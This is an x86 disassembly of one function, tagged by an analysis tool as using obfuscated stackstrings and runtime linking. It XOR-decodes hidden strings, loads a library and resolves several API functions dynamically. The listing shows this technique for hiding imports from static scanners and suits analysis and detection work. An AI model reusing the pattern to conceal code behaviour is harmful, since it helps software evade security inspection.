Function at 0x409c90
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0xcc
cmp byte [0x5860a7], 0
push esi
jne 0x40a281
mov dword [ebp - 8], 0xc5f5b5db
mov dword [ebp - 4], 0x9aac7da5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 8], 0xd295858
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x60]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
push eax
movaps xmmword [ebp - 0x60], xmm1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x586088], eax
test eax, eax
je 0x40a281
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x86ae5ba5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], 0x37591b
mov dword [ebp - 4], 0xd496ec8c
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 8], 0x99b45582
mov dword [ebp - 4], 0x1b8ae46f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x23d873d8
mov dword [ebp - 4], 0xaff386e6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 8], 0x61453c76
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 8], 0x99c738e7
mov dword [ebp - 4], 0x1b8ae46f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 8], 0x23d873d8
mov dword [ebp - 4], 0xaff386e6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x30]
xorps xmm1, xmmword [ebp - 0x50]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x30]
movaps xmmword [ebp - 0x30], xmm1
movaps xmm1, xmmword [ebp - 0x20]
push eax
push dword [0x586088]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm1
call esi
mov dword [0x5860a8], eax
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x86ae5ba5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 8], 0x37591b
mov dword [ebp - 4], 0xc189ec8c
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 8], 0xeab35492
mov dword [ebp - 4], 0x1b8ae46f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 8], 0x23d873d8
mov dword [ebp - 4], 0xaff386e6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov dword [ebp - 8], 0x99c738e7
mov dword [ebp - 4], 0x1b8ae46f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 8], 0x23d873d8
mov dword [ebp - 4], 0xaff386e6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x50]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
movaps xmmword [ebp - 0x50], xmm1
movaps xmm1, xmmword [ebp - 0x40]
push eax
push dword [0x586088]
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
movaps xmmword [ebp - 0x40], xmm1
call esi
mov dword [0x5860a0], eax
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x96b258a5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 8], 0x61453c13
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x80]
push eax
push dword [0x586088]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x80], xmm1
call esi
mov dword [0x586098], eax
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x96b051a5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 8], 0x14246a18
mov dword [ebp - 4], 0xa0dffd94
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x90]
push eax
push dword [0x586088]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x90], xmm1
call esi
mov dword [0x586084], eax
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x9cac5da5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 8], 0x135905
mov dword [ebp - 4], 0xa0abe58d
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xa0]
push eax
push dword [0x586088]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0xa0], xmm1
call esi
mov dword [0x58609c], eax
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x87a559a5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 8], 0xc20483f
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0xb0], xmm1
push eax
push dword [0x586088]
call esi
mov dword [0x586090], eax
mov dword [ebp - 8], 0xc5f5b5fb
mov dword [ebp - 4], 0x87a559a5
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 8], 0xc20483f
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 8], 0xa980d4ad
mov dword [ebp - 4], 0xf3c01ed1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 8], 0x61453c76
mov dword [ebp - 4], 0xa0df89f8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
movaps xmm1, xmmword [ebp - 0xc0]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc0]
push eax
push dword [0x586088]
mov dword [ebp - 0x14], ecx
xorps xmm1, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0xc0], xmm1
call esi
cmp dword [0x5860a8], 0
mov dword [0x5860b8], eax
je 0x40a275
cmp dword [0x5860a0], 0
je 0x40a275
cmp dword [0x586098], 0
je 0x40a275
cmp dword [0x586084], 0
je 0x40a275
cmp dword [0x58609c], 0
je 0x40a275
cmp dword [0x586090], 0
je 0x40a275
test eax, eax
je 0x40a275
mov byte [0x5860a7], 1
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push dword [0x586088]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret